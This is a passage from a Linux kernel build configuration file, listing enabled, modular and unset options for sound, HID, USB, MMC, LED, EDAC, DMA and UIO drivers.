CONFIG_FRAMEBUFFER_CONSOLE=m
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_JACK=y
CONFIG_SND_JACK_INPUT_DEV=y
CONFIG_SND_SEQUENCER=m
CONFIG_SND_SEQ_DUMMY=m
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
# CONFIG_SND_PCM_OSS_PLUGINS is not set
CONFIG_SND_PCM_TIMER=y
# CONFIG_SND_SEQUENCER_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_PROC_FS=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_DMA_SGBUF=y
CONFIG_SND_RAWMIDI_SEQ=m
CONFIG_SND_OPL3_LIB_SEQ=m
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_MPU401_UART=m
CONFIG_SND_OPL3_LIB=m
CONFIG_SND_VX_LIB=m
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
CONFIG_SND_DUMMY=m
# CONFIG_SND_ALOOP is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
CONFIG_SND_MPU401=m
CONFIG_SND_AC97_POWER_SAVE=y
CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
CONFIG_SND_SB_COMMON=m
CONFIG_SND_SB16_DSP=m
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
CONFIG_SND_ALS300=m
CONFIG_SND_ALS4000=m
CONFIG_SND_ALI5451=m
# CONFIG_SND_ASIHPI is not set
# CONFIG_SND_ATIIXP is not set
CONFIG_SND_ATIIXP_MODEM=m
# CONFIG_SND_AU8810 is not set
CONFIG_SND_AU8820=m
CONFIG_SND_AU8830=m
# CONFIG_SND_AW2 is not set
CONFIG_SND_AZT3328=m
# CONFIG_SND_BT87X is not set
CONFIG_SND_CA0106=m
CONFIG_SND_CMIPCI=m
CONFIG_SND_OXYGEN_LIB=m
# CONFIG_SND_OXYGEN is not set
CONFIG_SND_CS4281=m
CONFIG_SND_CS46XX=m
# CONFIG_SND_CS46XX_NEW_DSP is not set
CONFIG_SND_CS5530=m
# CONFIG_SND_CS5535AUDIO is not set
CONFIG_SND_CTXFI=m
CONFIG_SND_DARLA20=m
CONFIG_SND_GINA20=m
# CONFIG_SND_LAYLA20 is not set
CONFIG_SND_DARLA24=m
CONFIG_SND_GINA24=m
CONFIG_SND_LAYLA24=m
CONFIG_SND_MONA=m
CONFIG_SND_MIA=m
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
CONFIG_SND_INDIGOIO=m
CONFIG_SND_INDIGODJ=m
CONFIG_SND_INDIGOIOX=m
CONFIG_SND_INDIGODJX=m
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
CONFIG_SND_ENS1370=m
CONFIG_SND_ENS1371=m
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
CONFIG_SND_FM801=m
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
CONFIG_SND_ICE1712=m
CONFIG_SND_ICE1724=m
CONFIG_SND_INTEL8X0=m
CONFIG_SND_INTEL8X0M=m
# CONFIG_SND_KORG1212 is not set
CONFIG_SND_LOLA=m
CONFIG_SND_LX6464ES=m
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
CONFIG_SND_RIPTIDE=m
CONFIG_SND_RME32=m
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
CONFIG_SND_SIS7019=m
CONFIG_SND_SONICVIBES=m
CONFIG_SND_TRIDENT=m
# CONFIG_SND_VIA82XX is not set
CONFIG_SND_VIA82XX_MODEM=m
CONFIG_SND_VIRTUOSO=m
CONFIG_SND_VX222=m
CONFIG_SND_YMFPCI=m

#
# HD-Audio
#
CONFIG_SND_HDA=m
CONFIG_SND_HDA_INTEL=m
CONFIG_SND_HDA_HWDEP=y
CONFIG_SND_HDA_RECONFIG=y
CONFIG_SND_HDA_INPUT_BEEP=y
CONFIG_SND_HDA_INPUT_BEEP_MODE=1
CONFIG_SND_HDA_PATCH_LOADER=y
CONFIG_SND_HDA_CODEC_REALTEK=m
# CONFIG_SND_HDA_CODEC_ANALOG is not set
# CONFIG_SND_HDA_CODEC_SIGMATEL is not set
CONFIG_SND_HDA_CODEC_VIA=m
# CONFIG_SND_HDA_CODEC_HDMI is not set
CONFIG_SND_HDA_CODEC_CIRRUS=m
CONFIG_SND_HDA_CODEC_CONEXANT=m
# CONFIG_SND_HDA_CODEC_CA0110 is not set
# CONFIG_SND_HDA_CODEC_CA0132 is not set
CONFIG_SND_HDA_CODEC_CMEDIA=m
CONFIG_SND_HDA_CODEC_SI3054=m
CONFIG_SND_HDA_GENERIC=m
CONFIG_SND_HDA_CORE=m
CONFIG_SND_HDA_I915=y
CONFIG_SND_HDA_PREALLOC_SIZE=64
CONFIG_SND_SPI=y
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=m
CONFIG_SND_USB_UA101=m
CONFIG_SND_USB_USX2Y=m
# CONFIG_SND_USB_CAIAQ is not set
CONFIG_SND_USB_US122L=m
# CONFIG_SND_USB_6FIRE is not set
# CONFIG_SND_USB_HIFACE is not set
CONFIG_SND_BCD2000=m
CONFIG_SND_USB_LINE6=m
CONFIG_SND_USB_POD=m
CONFIG_SND_USB_PODHD=m
CONFIG_SND_USB_TONEPORT=m
# CONFIG_SND_USB_VARIAX is not set
CONFIG_SND_PCMCIA=y
CONFIG_SND_VXPOCKET=m
# CONFIG_SND_PDAUDIOCF is not set
# CONFIG_SND_SOC is not set
CONFIG_SOUND_PRIME=y
CONFIG_SOUND_OSS=y
CONFIG_SOUND_TRACEINIT=y
# CONFIG_SOUND_DMAP is not set
CONFIG_SOUND_VMIDI=m
CONFIG_SOUND_TRIX=y
# CONFIG_SOUND_MSS is not set
CONFIG_SOUND_MPU401=m
CONFIG_SOUND_PAS=m
# CONFIG_SOUND_PSS is not set
CONFIG_SOUND_SB=m
CONFIG_SOUND_YM3812=y
CONFIG_SOUND_UART6850=m
# CONFIG_SOUND_AEDSP16 is not set
CONFIG_SOUND_KAHLUA=m
CONFIG_AC97_BUS=m

#
# HID support
#
CONFIG_HID=m
# CONFIG_HID_BATTERY_STRENGTH is not set
CONFIG_HIDRAW=y
# CONFIG_UHID is not set
CONFIG_HID_GENERIC=m

#
# Special HID drivers
#
CONFIG_HID_A4TECH=m
CONFIG_HID_ACRUX=m
CONFIG_HID_ACRUX_FF=y
# CONFIG_HID_APPLE is not set
CONFIG_HID_APPLEIR=m
CONFIG_HID_AUREAL=m
# CONFIG_HID_BELKIN is not set
CONFIG_HID_BETOP_FF=m
# CONFIG_HID_CHERRY is not set
CONFIG_HID_CHICONY=m
CONFIG_HID_CORSAIR=m
CONFIG_HID_PRODIKEYS=m
CONFIG_HID_CMEDIA=m
CONFIG_HID_CP2112=m
CONFIG_HID_CYPRESS=m
CONFIG_HID_DRAGONRISE=m
CONFIG_DRAGONRISE_FF=y
# CONFIG_HID_EMS_FF is not set
CONFIG_HID_ELECOM=m
CONFIG_HID_ELO=m
CONFIG_HID_EZKEY=m
# CONFIG_HID_GEMBIRD is not set
CONFIG_HID_GFRM=m
CONFIG_HID_HOLTEK=m
# CONFIG_HOLTEK_FF is not set
# CONFIG_HID_GT683R is not set
# CONFIG_HID_KEYTOUCH is not set
# CONFIG_HID_KYE is not set
CONFIG_HID_UCLOGIC=m
CONFIG_HID_WALTOP=m
CONFIG_HID_GYRATION=m
CONFIG_HID_ICADE=m
# CONFIG_HID_TWINHAN is not set
# CONFIG_HID_KENSINGTON is not set
# CONFIG_HID_LCPOWER is not set
CONFIG_HID_LED=m
CONFIG_HID_LENOVO=m
CONFIG_HID_LOGITECH=m
CONFIG_HID_LOGITECH_DJ=m
CONFIG_HID_LOGITECH_HIDPP=m
# CONFIG_LOGITECH_FF is not set
CONFIG_LOGIRUMBLEPAD2_FF=y
CONFIG_LOGIG940_FF=y
# CONFIG_LOGIWHEELS_FF is not set
CONFIG_HID_MAGICMOUSE=m
CONFIG_HID_MAYFLASH=m
# CONFIG_HID_MICROSOFT is not set
# CONFIG_HID_MONTEREY is not set
CONFIG_HID_MULTITOUCH=m
# CONFIG_HID_NTRIG is not set
# CONFIG_HID_ORTEK is not set
CONFIG_HID_PANTHERLORD=m
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PENMOUNT=m
CONFIG_HID_PETALYNX=m
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PLANTRONICS is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_SAITEK is not set
# CONFIG_HID_SAMSUNG is not set
CONFIG_HID_SONY=m
CONFIG_SONY_FF=y
CONFIG_HID_SPEEDLINK=m
# CONFIG_HID_STEELSERIES is not set
# CONFIG_HID_SUNPLUS is not set
# CONFIG_HID_RMI is not set
CONFIG_HID_GREENASIA=m
CONFIG_GREENASIA_FF=y
# CONFIG_HID_HYPERV_MOUSE is not set
CONFIG_HID_SMARTJOYPLUS=m
CONFIG_SMARTJOYPLUS_FF=y
CONFIG_HID_TIVO=m
CONFIG_HID_TOPSEED=m
CONFIG_HID_THINGM=m
CONFIG_HID_THRUSTMASTER=m
CONFIG_THRUSTMASTER_FF=y
# CONFIG_HID_UDRAW_PS3 is not set
# CONFIG_HID_WACOM is not set
# CONFIG_HID_WIIMOTE is not set
CONFIG_HID_XINMO=m
# CONFIG_HID_ZEROPLUS is not set
CONFIG_HID_ZYDACRON=m
CONFIG_HID_SENSOR_HUB=m
CONFIG_HID_SENSOR_CUSTOM_SENSOR=m
CONFIG_HID_ALPS=m

#
# USB HID support
#
CONFIG_USB_HID=m
# CONFIG_HID_PID is not set
# CONFIG_USB_HIDDEV is not set

#
# I2C HID support
#
# CONFIG_I2C_HID is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
# CONFIG_USB_DEFAULT_PERSIST is not set
CONFIG_USB_DYNAMIC_MINORS=y
# CONFIG_USB_OTG_WHITELIST is not set
# CONFIG_USB_LEDS_TRIGGER_USBPORT is not set
# CONFIG_USB_MON is not set
CONFIG_USB_WUSB=y
CONFIG_USB_WUSB_CBAF=m
CONFIG_USB_WUSB_CBAF_DEBUG=y

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
CONFIG_USB_XHCI_HCD=m
CONFIG_USB_XHCI_PCI=m
CONFIG_USB_XHCI_PLATFORM=m
CONFIG_USB_EHCI_HCD=m
CONFIG_USB_EHCI_ROOT_HUB_TT=y
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=m
CONFIG_USB_EHCI_HCD_PLATFORM=m
CONFIG_USB_OXU210HP_HCD=y
CONFIG_USB_ISP116X_HCD=m
CONFIG_USB_ISP1362_HCD=m
CONFIG_USB_FOTG210_HCD=y
# CONFIG_USB_MAX3421_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_HCD_PCI is not set
# CONFIG_USB_OHCI_HCD_SSB is not set
CONFIG_USB_OHCI_HCD_PLATFORM=y
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
CONFIG_USB_R8A66597_HCD=m
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set
# CONFIG_USB_HCD_BCMA is not set
CONFIG_USB_HCD_SSB=m
CONFIG_USB_HCD_TEST_MODE=y

#
# USB Device Class drivers
#
CONFIG_USB_ACM=m
CONFIG_USB_PRINTER=y
CONFIG_USB_WDM=m
CONFIG_USB_TMC=m

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
CONFIG_USB_STORAGE_DEBUG=y
CONFIG_USB_STORAGE_REALTEK=m
CONFIG_USB_STORAGE_DATAFAB=m
CONFIG_USB_STORAGE_FREECOM=m
CONFIG_USB_STORAGE_ISD200=m
CONFIG_USB_STORAGE_USBAT=m
CONFIG_USB_STORAGE_SDDR09=m
# CONFIG_USB_STORAGE_SDDR55 is not set
CONFIG_USB_STORAGE_JUMPSHOT=m
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set
# CONFIG_USB_UAS is not set

#
# USB Imaging devices
#
CONFIG_USB_MDC800=m
CONFIG_USB_MICROTEK=m
CONFIG_USBIP_CORE=m
# CONFIG_USBIP_VHCI_HCD is not set
CONFIG_USBIP_HOST=m
CONFIG_USBIP_VUDC=m
# CONFIG_USBIP_DEBUG is not set
CONFIG_USB_MUSB_HDRC=y
CONFIG_USB_MUSB_HOST=y
# CONFIG_USB_MUSB_GADGET is not set
# CONFIG_USB_MUSB_DUAL_ROLE is not set

#
# Platform Glue Layer
#

#
# MUSB DMA mode
#
CONFIG_MUSB_PIO_ONLY=y
# CONFIG_USB_DWC3 is not set
CONFIG_USB_DWC2=m
# CONFIG_USB_DWC2_HOST is not set

#
# Gadget/Dual-role mode requires USB Gadget support to be enabled
#
# CONFIG_USB_DWC2_PERIPHERAL is not set
CONFIG_USB_DWC2_DUAL_ROLE=y
CONFIG_USB_DWC2_PCI=m
# CONFIG_USB_DWC2_DEBUG is not set
CONFIG_USB_DWC2_TRACK_MISSED_SOFS=y
CONFIG_USB_CHIPIDEA=m
CONFIG_USB_CHIPIDEA_OF=m
CONFIG_USB_CHIPIDEA_PCI=m
CONFIG_USB_CHIPIDEA_UDC=y
# CONFIG_USB_CHIPIDEA_HOST is not set
# CONFIG_USB_ISP1760 is not set

#
# USB port drivers
#
CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_CONSOLE=y
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_SIMPLE is not set
# CONFIG_USB_SERIAL_AIRCABLE is not set
CONFIG_USB_SERIAL_ARK3116=y
CONFIG_USB_SERIAL_BELKIN=m
CONFIG_USB_SERIAL_CH341=m
CONFIG_USB_SERIAL_WHITEHEAT=m
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
# CONFIG_USB_SERIAL_CP210X is not set
CONFIG_USB_SERIAL_CYPRESS_M8=y
CONFIG_USB_SERIAL_EMPEG=y
CONFIG_USB_SERIAL_FTDI_SIO=y
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
CONFIG_USB_SERIAL_IR=m
CONFIG_USB_SERIAL_EDGEPORT=y
CONFIG_USB_SERIAL_EDGEPORT_TI=y
CONFIG_USB_SERIAL_F81232=m
CONFIG_USB_SERIAL_F8153X=m
CONFIG_USB_SERIAL_GARMIN=y
# CONFIG_USB_SERIAL_IPW is not set
# CONFIG_USB_SERIAL_IUU is not set
CONFIG_USB_SERIAL_KEYSPAN_PDA=y
CONFIG_USB_SERIAL_KEYSPAN=m
CONFIG_USB_SERIAL_KLSI=m
CONFIG_USB_SERIAL_KOBIL_SCT=y
CONFIG_USB_SERIAL_MCT_U232=y
CONFIG_USB_SERIAL_METRO=y
CONFIG_USB_SERIAL_MOS7720=y
# CONFIG_USB_SERIAL_MOS7840 is not set
CONFIG_USB_SERIAL_MXUPORT=m
CONFIG_USB_SERIAL_NAVMAN=m
CONFIG_USB_SERIAL_PL2303=y
# CONFIG_USB_SERIAL_OTI6858 is not set
CONFIG_USB_SERIAL_QCAUX=m
# CONFIG_USB_SERIAL_QUALCOMM is not set
CONFIG_USB_SERIAL_SPCP8X5=y
CONFIG_USB_SERIAL_SAFE=y
CONFIG_USB_SERIAL_SAFE_PADDED=y
CONFIG_USB_SERIAL_SIERRAWIRELESS=y
CONFIG_USB_SERIAL_SYMBOL=y
# CONFIG_USB_SERIAL_TI is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
CONFIG_USB_SERIAL_XIRCOM=y
CONFIG_USB_SERIAL_WWAN=y
CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_SERIAL_OMNINET=m
# CONFIG_USB_SERIAL_OPTICON is not set
CONFIG_USB_SERIAL_XSENS_MT=y
CONFIG_USB_SERIAL_WISHBONE=y
# CONFIG_USB_SERIAL_SSU100 is not set
CONFIG_USB_SERIAL_QT2=m
# CONFIG_USB_SERIAL_DEBUG is not set

#
# USB Miscellaneous drivers
#
CONFIG_USB_EMI62=m
CONFIG_USB_EMI26=y
CONFIG_USB_ADUTUX=y
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
CONFIG_USB_LEGOTOWER=m
CONFIG_USB_LCD=y
CONFIG_USB_CYPRESS_CY7C63=m
CONFIG_USB_CYTHERM=y
CONFIG_USB_IDMOUSE=m
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
CONFIG_USB_SISUSBVGA=y
# CONFIG_USB_SISUSBVGA_CON is not set
CONFIG_USB_LD=m
# CONFIG_USB_TRANCEVIBRATOR is not set
CONFIG_USB_IOWARRIOR=m
# CONFIG_USB_TEST is not set
CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_ISIGHTFW=m
CONFIG_USB_YUREX=m
CONFIG_USB_EZUSB_FX2=y
# CONFIG_USB_HSIC_USB3503 is not set
CONFIG_USB_HSIC_USB4604=y
# CONFIG_USB_LINK_LAYER_TEST is not set
# CONFIG_UCSI is not set

#
# USB Physical Layer drivers
#
CONFIG_USB_PHY=y
CONFIG_NOP_USB_XCEIV=m
CONFIG_USB_GPIO_VBUS=m
CONFIG_USB_ISP1301=y
CONFIG_USB_GADGET=y
# CONFIG_USB_GADGET_DEBUG is not set
# CONFIG_USB_GADGET_DEBUG_FILES is not set
# CONFIG_USB_GADGET_DEBUG_FS is not set
CONFIG_USB_GADGET_VBUS_DRAW=2
CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2
# CONFIG_U_SERIAL_CONSOLE is not set

#
# USB Peripheral Controller
#
# CONFIG_USB_FOTG210_UDC is not set
CONFIG_USB_GR_UDC=m
CONFIG_USB_R8A66597=m
# CONFIG_USB_PXA27X is not set
# CONFIG_USB_MV_UDC is not set
# CONFIG_USB_MV_U3D is not set
# CONFIG_USB_M66592 is not set
CONFIG_USB_BDC_UDC=m

#
# Platform Support
#
CONFIG_USB_BDC_PCI=m
# CONFIG_USB_AMD5536UDC is not set
CONFIG_USB_NET2272=m
CONFIG_USB_NET2272_DMA=y
CONFIG_USB_NET2280=m
CONFIG_USB_GOKU=m
CONFIG_USB_EG20T=m
# CONFIG_USB_GADGET_XILINX is not set
CONFIG_USB_DUMMY_HCD=m
CONFIG_USB_LIBCOMPOSITE=y
CONFIG_USB_F_ACM=y
CONFIG_USB_F_SS_LB=y
CONFIG_USB_U_SERIAL=y
CONFIG_USB_U_ETHER=y
CONFIG_USB_F_SERIAL=m
CONFIG_USB_F_OBEX=m
CONFIG_USB_F_NCM=y
CONFIG_USB_F_ECM=m
CONFIG_USB_F_PHONET=m
CONFIG_USB_F_SUBSET=m
CONFIG_USB_F_RNDIS=m
CONFIG_USB_F_MASS_STORAGE=m
CONFIG_USB_F_FS=m
CONFIG_USB_F_UAC1=m
CONFIG_USB_F_MIDI=m
CONFIG_USB_F_HID=m
CONFIG_USB_CONFIGFS=y
# CONFIG_USB_CONFIGFS_SERIAL is not set
CONFIG_USB_CONFIGFS_ACM=y
# CONFIG_USB_CONFIGFS_OBEX is not set
CONFIG_USB_CONFIGFS_NCM=y
# CONFIG_USB_CONFIGFS_ECM is not set
# CONFIG_USB_CONFIGFS_ECM_SUBSET is not set
# CONFIG_USB_CONFIGFS_RNDIS is not set
# CONFIG_USB_CONFIGFS_EEM is not set
CONFIG_USB_CONFIGFS_PHONET=y
# CONFIG_USB_CONFIGFS_MASS_STORAGE is not set
CONFIG_USB_CONFIGFS_F_LB_SS=y
# CONFIG_USB_CONFIGFS_F_FS is not set
CONFIG_USB_CONFIGFS_F_UAC1=y
# CONFIG_USB_CONFIGFS_F_UAC2 is not set
# CONFIG_USB_CONFIGFS_F_MIDI is not set
# CONFIG_USB_CONFIGFS_F_HID is not set
# CONFIG_USB_CONFIGFS_F_UVC is not set
# CONFIG_USB_CONFIGFS_F_PRINTER is not set
CONFIG_USB_ZERO=m
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_ETH is not set
CONFIG_USB_G_NCM=m
CONFIG_USB_GADGETFS=m
CONFIG_USB_FUNCTIONFS=m
CONFIG_USB_FUNCTIONFS_ETH=y
CONFIG_USB_FUNCTIONFS_RNDIS=y
CONFIG_USB_FUNCTIONFS_GENERIC=y
CONFIG_USB_MASS_STORAGE=m
CONFIG_USB_G_SERIAL=m
CONFIG_USB_MIDI_GADGET=m
# CONFIG_USB_G_PRINTER is not set
# CONFIG_USB_CDC_COMPOSITE is not set
# CONFIG_USB_G_NOKIA is not set
# CONFIG_USB_G_ACM_MS is not set
CONFIG_USB_G_MULTI=m
CONFIG_USB_G_MULTI_RNDIS=y
CONFIG_USB_G_MULTI_CDC=y
CONFIG_USB_G_HID=m
# CONFIG_USB_G_DBGP is not set
# CONFIG_USB_G_WEBCAM is not set
# CONFIG_USB_LED_TRIG is not set
# CONFIG_USB_ULPI_BUS is not set
CONFIG_UWB=y
CONFIG_UWB_HWA=m
# CONFIG_UWB_WHCI is not set
CONFIG_UWB_I1480U=m
CONFIG_MMC=y
# CONFIG_MMC_DEBUG is not set
CONFIG_PWRSEQ_EMMC=y
CONFIG_PWRSEQ_SIMPLE=m
# CONFIG_MMC_BLOCK is not set
CONFIG_SDIO_UART=y
# CONFIG_MMC_TEST is not set

#
# MMC/SD/SDIO Host Controller Drivers
#
CONFIG_MMC_SDHCI=m
# CONFIG_MMC_SDHCI_PCI is not set
CONFIG_MMC_SDHCI_ACPI=m
CONFIG_MMC_SDHCI_PLTFM=m
CONFIG_MMC_SDHCI_OF_ARASAN=m
CONFIG_MMC_SDHCI_OF_AT91=m
CONFIG_MMC_SDHCI_CADENCE=m
# CONFIG_MMC_SDHCI_F_SDH30 is not set
CONFIG_MMC_WBSD=m
# CONFIG_MMC_TIFM_SD is not set
CONFIG_MMC_SPI=y
CONFIG_MMC_SDRICOH_CS=m
CONFIG_MMC_CB710=m
CONFIG_MMC_VIA_SDMMC=y
# CONFIG_MMC_VUB300 is not set
# CONFIG_MMC_USHC is not set
CONFIG_MMC_USDHI6ROL0=m
CONFIG_MMC_REALTEK_PCI=m
CONFIG_MMC_REALTEK_USB=m
CONFIG_MMC_TOSHIBA_PCI=y
# CONFIG_MMC_MTK is not set
CONFIG_MEMSTICK=y
# CONFIG_MEMSTICK_DEBUG is not set

#
# MemoryStick drivers
#
CONFIG_MEMSTICK_UNSAFE_RESUME=y
# CONFIG_MSPRO_BLOCK is not set
CONFIG_MS_BLOCK=m

#
# MemoryStick Host Controller Drivers
#
CONFIG_MEMSTICK_TIFM_MS=m
CONFIG_MEMSTICK_JMICRON_38X=y
# CONFIG_MEMSTICK_R592 is not set
CONFIG_MEMSTICK_REALTEK_PCI=m
CONFIG_MEMSTICK_REALTEK_USB=y
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y
CONFIG_LEDS_CLASS_FLASH=y

#
# LED drivers
#
CONFIG_LEDS_88PM860X=m
# CONFIG_LEDS_BCM6328 is not set
CONFIG_LEDS_BCM6358=m
CONFIG_LEDS_LM3530=y
CONFIG_LEDS_LM3533=m
CONFIG_LEDS_LM3642=m
CONFIG_LEDS_PCA9532=y
CONFIG_LEDS_PCA9532_GPIO=y
# CONFIG_LEDS_GPIO is not set
CONFIG_LEDS_LP3944=y
# CONFIG_LEDS_LP3952 is not set
CONFIG_LEDS_LP55XX_COMMON=y
# CONFIG_LEDS_LP5521 is not set
CONFIG_LEDS_LP5523=y
CONFIG_LEDS_LP5562=y
CONFIG_LEDS_LP8501=m
# CONFIG_LEDS_LP8860 is not set
# CONFIG_LEDS_CLEVO_MAIL is not set
# CONFIG_LEDS_PCA955X is not set
# CONFIG_LEDS_PCA963X is not set
CONFIG_LEDS_WM8350=y
CONFIG_LEDS_DA9052=m
# CONFIG_LEDS_DAC124S085 is not set
# CONFIG_LEDS_PWM is not set
# CONFIG_LEDS_REGULATOR is not set
# CONFIG_LEDS_BD2802 is not set
CONFIG_LEDS_INTEL_SS4200=m
CONFIG_LEDS_LT3593=m
# CONFIG_LEDS_ADP5520 is not set
# CONFIG_LEDS_DELL_NETBOOKS is not set
CONFIG_LEDS_MC13783=m
# CONFIG_LEDS_TCA6507 is not set
CONFIG_LEDS_TLC591XX=y
CONFIG_LEDS_MAX8997=m
CONFIG_LEDS_LM355x=y
# CONFIG_LEDS_OT200 is not set
CONFIG_LEDS_MENF21BMC=m
# CONFIG_LEDS_KTD2692 is not set
# CONFIG_LEDS_IS31FL319X is not set
CONFIG_LEDS_IS31FL32XX=m

#
# LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM)
#
CONFIG_LEDS_BLINKM=y
CONFIG_LEDS_SYSCON=y
CONFIG_LEDS_USER=y
CONFIG_LEDS_NIC78BX=y

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
# CONFIG_LEDS_TRIGGER_TIMER is not set
CONFIG_LEDS_TRIGGER_ONESHOT=m
# CONFIG_LEDS_TRIGGER_DISK is not set
CONFIG_LEDS_TRIGGER_MTD=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
CONFIG_LEDS_TRIGGER_BACKLIGHT=m
CONFIG_LEDS_TRIGGER_CPU=y
# CONFIG_LEDS_TRIGGER_GPIO is not set
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y

#
# iptables trigger is under Netfilter config (LED target)
#
CONFIG_LEDS_TRIGGER_TRANSIENT=y
CONFIG_LEDS_TRIGGER_CAMERA=y
# CONFIG_LEDS_TRIGGER_PANIC is not set
CONFIG_ACCESSIBILITY=y
# CONFIG_A11Y_BRAILLE_CONSOLE is not set
# CONFIG_INFINIBAND is not set
CONFIG_EDAC_ATOMIC_SCRUB=y
CONFIG_EDAC_SUPPORT=y
CONFIG_EDAC=y
CONFIG_EDAC_LEGACY_SYSFS=y
CONFIG_EDAC_DEBUG=y
CONFIG_EDAC_MM_EDAC=m
CONFIG_EDAC_AMD76X=m
CONFIG_EDAC_E7XXX=m
CONFIG_EDAC_E752X=m
CONFIG_EDAC_I82875P=m
# CONFIG_EDAC_I82975X is not set
# CONFIG_EDAC_I3000 is not set
# CONFIG_EDAC_I3200 is not set
CONFIG_EDAC_IE31200=m
# CONFIG_EDAC_X38 is not set
CONFIG_EDAC_I5400=m
CONFIG_EDAC_I82860=m
# CONFIG_EDAC_R82600 is not set
CONFIG_EDAC_I5000=m
CONFIG_EDAC_I5100=m
# CONFIG_EDAC_I7300 is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_MC146818_LIB=y
# CONFIG_RTC_CLASS is not set
CONFIG_DMADEVICES=y
CONFIG_DMADEVICES_DEBUG=y
CONFIG_DMADEVICES_VDEBUG=y

#
# DMA Devices
#
CONFIG_DMA_ENGINE=y
CONFIG_DMA_VIRTUAL_CHANNELS=y
CONFIG_DMA_ACPI=y
CONFIG_DMA_OF=y
CONFIG_FSL_EDMA=m
CONFIG_INTEL_IDMA64=y
CONFIG_PCH_DMA=m
# CONFIG_TIMB_DMA is not set
CONFIG_QCOM_HIDMA_MGMT=m
CONFIG_QCOM_HIDMA=m
CONFIG_DW_DMAC_CORE=y
CONFIG_DW_DMAC=m
# CONFIG_DW_DMAC_PCI is not set
CONFIG_HSU_DMA=y

#
# DMA Clients
#
CONFIG_ASYNC_TX_DMA=y
# CONFIG_DMATEST is not set

#
# DMABUF options
#
CONFIG_SYNC_FILE=y
CONFIG_SW_SYNC=y
# CONFIG_AUXDISPLAY is not set
CONFIG_UIO=y
CONFIG_UIO_CIF=y
CONFIG_UIO_PDRV_GENIRQ=m
CONFIG_UIO_DMEM_GENIRQ=m
CONFIG_UIO_AEC=y
# CONFIG_UIO_SERCOS3 is not set
# CONFIG_UIO_PCI_GENERIC is not set
CONFIG_UIO_NETX=y
# CONFIG_UIO_PRUSS is not set
CONFIG_UIO_MF624=y
CONFIG_UIO_HV_GENERIC=m
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
